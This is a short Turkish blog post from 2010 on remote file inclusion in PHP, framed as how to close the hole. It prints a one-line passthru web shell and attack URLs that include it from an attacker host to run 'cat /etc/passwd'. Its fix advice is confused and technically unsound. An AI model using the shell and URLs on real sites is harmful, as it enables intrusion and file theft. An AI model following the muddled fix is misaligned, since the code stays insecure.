13.09.2010

Rfi açığını kapatma

Merhaba arkadaşlar herkes rfi'nin nasıl kulanıldığını bilir ama açığı nasıl kapatabiliriz onu bilmez bu yazıda rfi konusunda alınabilecek önlemler anlatılmıştır.

Eğer sitenizde GET ve POST komutlarını içeren satırlar kullanıyorsanız ve bu komutların yazımlarını
yanlış yaparsanız sitenizde geri dönüşü olmayan bir açık oluşabilir. Şimdi bu açığı kapatmanın
yollarına bakalım.

Bu kod $page girişi tam olarak arındırılmadığı için kullanılmamalıdır. $page input direkt olarak web sayfasına yönlendirilmiş ki bu yapılması gereken en son hatalardan biridir. Daima browserdan geçen her input (giriş) arındırılmalı. Kullanıcı web sayfasını ziyaret ettiğinde "files.php"yi ziyaret etmek için "File"a tıkladığında şöyle bir şey görünecek.
Files
$page = $_GET[page];
include($page);
?>

Bu koda istinaden aşağıdaki şekilde bir adres girersek browserımızdan neler olabilir?
http://localhost/index.php?page=http://google.com

Büyük ihtimalle $page değişkeninin sayfaya orjinal olarak konulduğu yerde, google.com ana sayfasını elde ederiz. Burası kodcunun canının yakılabileceği yerdir. Web sayfasında olabilen daha basit bir şeye bakalım. RFI exploitinin daha çabuk ve kirli kullanımı sizin avantajınızadır. Şimdi "test.php" isimli bir dosya oluşturalım ve aşağıdaki kodu içine koyup kaydedelim.
passthru($_GET[cmd]);
?>

Şimdi bu dosya, üzerinde RFI exploiti olan bir sayfaya dahil etmek için avantajınıza kullanabileceğiniz bir şeydir. PHP içindeki passthru() komutu çok tehlikelidir ve birçok host bunu "güvenlik nedenlerinden dolayı hizmet dışıdır" olarak alırlar. test.php içindeki bu kodla web sayfasına file inclusion exploiti de içeren şöyle bir istek gönderebiliriz
http://localhost/index.php?page=http://someevilhost.com/test.php?cmd=cat /etc/passwd

Örnek olarak sitenizde kullandığınız satırlardan biri; $ornek = $HTTP_GET_VARS[“ornek”]; diyelim. Bu satırda kullanmış olduğunuz tırnaklar dışarıdan gelen uyarılara karşı son derece duyarlıdır. Yani kişi isterse “ornek” kodlaması yerine başka bir sunucudan exploit çağırabilir. Örneğin; http://www.sizinsite.com/index.php?urun=http://www.exploitsitesi.com/exploit.pl bu şekilde bir adresleme kullanıldığı takdirde exploit sizin sunucunuza yüklenir. Bu açığı kolay bir yöntemle kapatabilirsiniz. Öncelikle yapmanız gereken kullanmış olduğunuz GET ve POST komutunun içeriği. Eğer GET yada POST komutu ile veritabanına bağlantı yapıyorsanız bu bağlantıyı komuttan önce tanımlayın;
$veriadi = “veriadi”.$id;

Daha sonra komutunuzu tırnak kullanmadan, başına dolar ($) koyarak sanki veritabanından çağırma yapıyorsunuz gibi kullanın;

Hiç yorum yok:

Yorum Gönder

Yorumunuz kayıt edilmiştir en kısa sürede kontrol edilip onaylanacaktır.